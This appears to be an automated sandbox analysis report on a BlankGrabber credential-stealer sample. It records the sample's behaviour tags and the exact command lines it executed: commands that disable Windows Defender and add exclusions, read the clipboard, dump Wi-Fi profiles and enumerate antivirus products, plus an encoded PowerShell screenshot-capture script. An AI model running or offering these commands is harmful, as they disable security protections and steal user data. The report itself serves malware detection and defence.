Malware Analysis Report

2025-08-06 02:51

Sample ID 241015-xljpesvgrr
Target Built.exe
SHA256 0b3b7713ef6a8616c579b5f6fe9c41f92bc10a89800e421d236b75c16b98b8ad
Tags
blankgrabber collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0b3b7713ef6a8616c579b5f6fe9c41f92bc10a89800e421d236b75c16b98b8ad

Threat Level: Known bad

The file Built.exe was found to be: Known bad.

Malicious Activity Summary

blankgrabber collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Command and Scripting Interpreter: PowerShell

Clipboard Data

Unsecured Credentials: Credentials In Files

Loads dropped DLL

Reads user/profile data of web browsers

Obfuscated Files or Information: Command Obfuscation

Accesses cryptocurrency files/wallets, possible credential harvesting

UPX packed file

Enumerates processes with tasklist

Event Triggered Execution: Netsh Helper DLL

System Network Configuration Discovery: Wi-Fi Discovery

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Views/modifies file attributes

Gathers system information

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-15 18:56

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-15 18:56

Reported

2024-10-15 18:57

Platform

win10v2004-20241007-en

Max time kernel

3s

Max time network

10s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Built.exe"

Signatures

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4428 wrote to memory of 228 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Users\Admin\AppData\Local\Temp\Built.exe
PID 4428 wrote to memory of 228 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Users\Admin\AppData\Local\Temp\Built.exe
PID 228 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4872 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4872 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 2472 wrote to memory of 1584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2472 wrote to memory of 1584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4828 wrote to memory of 4536 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4828 wrote to memory of 4536 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 228 wrote to memory of 3396 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 3396 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4172 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 4872 wrote to memory of 1356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4872 wrote to memory of 1356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 228 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 3572 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 3396 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3396 wrote to memory of 816 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 228 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\System32\Conhost.exe
PID 228 wrote to memory of 3836 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\System32\Conhost.exe
PID 228 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2216 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2216 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 4172 wrote to memory of 4508 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4172 wrote to memory of 4508 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 228 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2916 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4404 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4404 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 2336 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 3572 wrote to memory of 2676 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 3572 wrote to memory of 2676 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 3836 wrote to memory of 1148 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3836 wrote to memory of 1148 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2216 wrote to memory of 4540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2216 wrote to memory of 4540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4404 wrote to memory of 4436 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4404 wrote to memory of 4436 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2260 wrote to memory of 2884 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2260 wrote to memory of 2884 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2336 wrote to memory of 4884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2336 wrote to memory of 4884 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2916 wrote to memory of 4048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2916 wrote to memory of 4048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 228 wrote to memory of 4060 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4060 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 228 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Local\Temp\Built.exe C:\Windows\system32\cmd.exe
PID 4552 wrote to memory of 780 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4552 wrote to memory of 780 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4124 wrote to memory of 4500 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4124 wrote to memory of 4500 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Built.exe

"C:\Users\Admin\AppData\Local\Temp\Built.exe"

C:\Users\Admin\AppData\Local\Temp\Built.exe

"C:\Users\Admin\AppData\Local\Temp\Built.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎‎‌.scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎‎‌.scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4A